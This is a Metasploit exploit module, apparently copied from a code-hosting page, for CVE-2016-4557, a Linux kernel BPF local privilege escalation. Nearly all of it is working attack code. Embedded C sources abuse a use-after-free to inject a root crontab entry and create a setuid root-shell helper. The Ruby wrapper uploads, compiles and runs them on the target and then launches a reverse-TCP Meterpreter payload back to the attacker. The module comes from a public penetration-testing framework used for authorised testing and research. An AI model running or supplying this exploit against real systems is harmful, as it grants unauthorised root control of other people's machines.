500 lines
17 KiB
Ruby
500 lines
17 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = GoodRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'Linux BPF Local Privilege Escalation',
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'Description' => %q{
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Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
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sysctl is not set to 1, BPF can be abused to priv escalate.
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Ubuntu 16.04 has all of these conditions met.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'jannh@google.com', # discovery
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'h00die <mike@shorebreaksecurity.com>' # metasploit module
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],
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86, ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'References' =>
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[
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[ 'CVE', '2016-4557' ],
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[ 'EDB', '39772' ],
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[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
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[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
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],
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'Targets' =>
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[
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[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
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[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
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],
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'DefaultOptions' =>
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{
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'payload' => 'linux/x64/meterpreter/reverse_tcp',
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'PrependFork' => true,
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'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
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},
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'DefaultTarget' => 1,
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'DisclosureDate' => 'May 04 2016',
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'Privileged' => true
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}
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))
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register_options([
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
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OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
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])
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end
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def check
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def check_config_bpf_syscall?()
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output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
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if output == 'CONFIG_BPF_SYSCALL=y'
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vprint_good('CONFIG_BPF_SYSCALL is set to yes')
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return true
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else
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print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
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return false
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end
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end
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def check_kernel_disabled?()
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output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
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if output != 'kernel.unprivileged_bpf_disabled = 1'
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vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
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return true
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else
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print_error('kernel.unprivileged_bpf_disabled is set to 1')
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return false
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end
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end
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def check_fuse?()
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lib = cmd_exec('dpkg --get-selections | grep ^fuse')
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if lib.include?('install')
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vprint_good('fuse is installed')
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return true
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else
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print_error('fuse is not installed. Exploitation will fail.')
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return false
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end
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end
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def mount_point_exists?()
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if directory?('/tmp/fuse_mount')
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print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
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return false
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else
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vprint_good('/tmp/fuse_mount doesn\'t exist')
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return true
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end
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end
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if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
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CheckCode::Appears
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else
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CheckCode::Safe
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end
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end
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def exploit
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def upload_and_compile(filename, file_path, file_content, compile=nil)
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rm_f "#{file_path}"
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if not compile.nil?
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rm_f "#{file_path}.c"
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vprint_status("Writing #{filename} to #{file_path}.c")
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write_file("#{file_path}.c", file_content)
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register_file_for_cleanup("#{file_path}.c")
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output = cmd_exec(compile)
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if output != ''
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print_error(output)
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fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
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end
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else
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vprint_status("Writing #{filename} to #{file_path}")
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write_file(file_path, file_content)
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end
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cmd_exec("chmod +x #{file_path}");
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register_file_for_cleanup(file_path)
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end
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doubleput = %q{
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#define _GNU_SOURCE
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#include <stdbool.h>
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#include <errno.h>
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#include <err.h>
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#include <unistd.h>
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#include <fcntl.h>
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#include <sched.h>
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#include <signal.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <string.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <sys/syscall.h>
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#include <sys/prctl.h>
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#include <sys/uio.h>
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#include <sys/mman.h>
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#include <sys/wait.h>
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#include <linux/bpf.h>
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#include <linux/kcmp.h>
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#ifndef __NR_bpf
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# if defined(__i386__)
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# define __NR_bpf 357
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# elif defined(__x86_64__)
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# define __NR_bpf 321
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# elif defined(__aarch64__)
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# define __NR_bpf 280
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# else
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# error
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# endif
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#endif
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int uaf_fd;
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int task_b(void *p) {
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/* step 2: start writev with slow IOV, raising the refcount to 2 */
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char *cwd = get_current_dir_name();
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char data[2048];
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sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
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struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
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if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
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errx(1, "system() failed");
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int fuse_fd = open("fuse_mount/hello", O_RDWR);
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if (fuse_fd == -1)
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err(1, "unable to open FUSE fd");
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if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
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errx(1, "unable to write to FUSE fd");
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struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
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if (iov_ == MAP_FAILED)
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err(1, "unable to mmap FUSE fd");
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fputs("starting writev\n", stderr);
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ssize_t writev_res = writev(uaf_fd, iov_, 1);
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/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
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if (writev_res == -1)
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err(1, "writev failed");
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if (writev_res != strlen(data))
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errx(1, "writev returned %d", (int)writev_res);
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fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
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while (1) sleep(1); /* whatever, just don't crash */
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}
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void make_setuid(void) {
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/* step 1: open writable UAF fd */
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uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
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if (uaf_fd == -1)
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err(1, "unable to open UAF fd");
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/* refcount is now 1 */
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char child_stack[20000];
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int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
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if (child == -1)
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err(1, "clone");
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sleep(3);
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/* refcount is now 2 */
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/* step 2+3: use BPF to remove two references */
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for (int i=0; i<2; i++) {
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struct bpf_insn insns[2] = {
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{
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.code = BPF_LD | BPF_IMM | BPF_DW,
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.src_reg = BPF_PSEUDO_MAP_FD,
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.imm = uaf_fd
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},
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{
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}
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};
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union bpf_attr attr = {
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.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
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.insn_cnt = 2,
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.insns = (__aligned_u64) insns,
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.license = (__aligned_u64)""
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};
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if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
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errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
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if (errno != EINVAL)
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err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
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}
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/* refcount is now 0, the file is freed soon-ish */
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/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
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int status;
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int hostnamefds[1000];
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int used_fds = 0;
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bool up = true;
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while (1) {
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if (waitpid(child, &status, WNOHANG) == child)
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errx(1, "child quit before we got a good file*");
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if (up) {
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hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
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if (hostnamefds[used_fds] == -1)
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err(1, "open target file");
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if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
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used_fds++;
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if (used_fds == 1000) up = false;
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} else {
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close(hostnamefds[--used_fds]);
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if (used_fds == 0) up = true;
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}
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}
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fputs("woohoo, got pointer reuse\n", stderr);
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while (1) sleep(1); /* whatever, just don't crash */
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}
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int main(void) {
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pid_t child = fork();
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if (child == -1)
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err(1, "fork");
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if (child == 0)
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make_setuid();
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struct stat helperstat;
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while (1) {
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if (stat("suidhelper", &helperstat))
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err(1, "stat suidhelper");
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if (helperstat.st_mode & S_ISUID)
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break;
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sleep(1);
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}
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fputs("suid file detected, launching rootshell...\n", stderr);
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execl("./suidhelper", "suidhelper", NULL);
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err(1, "execl suidhelper");
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}
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}
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suid_helper = %q{
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#include <unistd.h>
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#include <err.h>
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#include <stdio.h>
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#include <sys/types.h>
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int main(void) {
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if (setuid(0) || setgid(0))
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err(1, "setuid/setgid");
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fputs("we have root privs now...\n", stderr);
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execl("/bin/bash", "bash", NULL);
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err(1, "execl");
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}
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}
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hello = %q{
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/*
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FUSE: Filesystem in Userspace
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Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
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heavily modified by Jann Horn <jannh@google.com>
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This program can be distributed under the terms of the GNU GPL.
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See the file COPYING.
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gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
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*/
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#define FUSE_USE_VERSION 26
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#include <fuse.h>
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#include <stdio.h>
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#include <string.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <err.h>
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#include <sys/uio.h>
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static const char *hello_path = "/hello";
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static char data_state[sizeof(struct iovec)];
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static int hello_getattr(const char *path, struct stat *stbuf)
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{
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int res = 0;
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memset(stbuf, 0, sizeof(struct stat));
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if (strcmp(path, "/") == 0) {
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stbuf->st_mode = S_IFDIR | 0755;
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stbuf->st_nlink = 2;
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} else if (strcmp(path, hello_path) == 0) {
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stbuf->st_mode = S_IFREG | 0666;
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stbuf->st_nlink = 1;
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stbuf->st_size = sizeof(data_state);
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stbuf->st_blocks = 0;
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} else
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res = -ENOENT;
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return res;
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}
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static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
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filler(buf, ".", NULL, 0);
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filler(buf, "..", NULL, 0);
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filler(buf, hello_path + 1, NULL, 0);
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return 0;
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}
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static int hello_open(const char *path, struct fuse_file_info *fi) {
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return 0;
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}
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static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
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sleep(10);
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size_t len = sizeof(data_state);
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if (offset < len) {
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if (offset + size > len)
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size = len - offset;
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memcpy(buf, data_state + offset, size);
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} else
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size = 0;
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return size;
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}
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static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
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if (offset != 0)
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errx(1, "got write with nonzero offset");
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if (size != sizeof(data_state))
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errx(1, "got write with size %d", (int)size);
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memcpy(data_state + offset, buf, size);
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return size;
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}
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static struct fuse_operations hello_oper = {
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.getattr = hello_getattr,
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.readdir = hello_readdir,
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.open = hello_open,
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.read = hello_read,
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.write = hello_write,
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};
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int main(int argc, char *argv[]) {
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return fuse_main(argc, argv, &hello_oper, NULL);
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}
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}
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hello_filename = 'hello'
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hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
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doubleput_file = "#{datastore['WritableDir']}/doubleput"
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suidhelper_filename = 'suidhelper'
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suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
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payload_filename = rand_text_alpha(8)
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payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
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if check != CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
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end
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def has_prereqs?()
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def check_libfuse_dev?()
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lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
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if lib.include?('install')
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vprint_good('libfuse-dev is installed')
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return true
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else
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print_error('libfuse-dev is not installed. Compiling will fail.')
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return false
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end
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end
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def check_gcc?()
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gcc = cmd_exec('which gcc')
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if gcc.include?('gcc')
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vprint_good('gcc is installed')
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return true
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else
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print_error('gcc is not installed. Compiling will fail.')
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return false
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end
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end
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def check_pkgconfig?()
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lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
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if lib.include?('install')
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vprint_good('pkg-config is installed')
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return true
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else
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print_error('pkg-config is not installed. Exploitation will fail.')
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return false
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end
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end
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return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
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end
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compile = false
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if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
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if has_prereqs?()
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compile = true
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vprint_status('Live compiling exploit on system')
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else
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vprint_status('Dropping pre-compiled exploit on system')
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end
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end
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if compile == false
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# doubleput file
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
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fd = ::File.open( path, "rb")
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doubleput = fd.read(fd.stat.size)
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fd.close
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# hello file
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
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fd = ::File.open( path, "rb")
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hello = fd.read(fd.stat.size)
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fd.close
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# suidhelper file
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path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
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fd = ::File.open( path, "rb")
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suid_helper = fd.read(fd.stat.size)
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fd.close
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# overwrite with the hardcoded variable names in the compiled versions
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payload_filename = 'AyDJSaMM'
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payload_path = '/tmp/AyDJSaMM'
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end
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# make our substitutions so things are dynamic
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suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
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"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
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doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
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'exit(0);')
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print_status('Writing files to target')
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cmd_exec("cd #{datastore['WritableDir']}")
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upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
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upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
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upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
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upload_and_compile('payload', payload_path, generate_payload_exe)
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print_status('Starting execution of priv esc. This may take about 120 seconds')
|
|
|
|
cmd_exec(doubleput_file)
|
|
sec_waited = 0
|
|
until sec_waited > datastore['MAXWAIT'] do
|
|
Rex.sleep(1)
|
|
# check file permissions
|
|
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
|
|
print_good('got root, starting payload')
|
|
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
|
|
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
|
|
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
|
|
cmd_exec("#{suidhelper_path}")
|
|
return
|
|
end
|
|
sec_waited +=1
|
|
end
|
|
end
|
|
|
|
def on_new_session(session)
|
|
# if we don't /bin/bash here, our payload times out
|
|
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
|
|
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
|
|
session.shell_command_token('/bin/bash')
|
|
super
|
|
end
|
|
end
|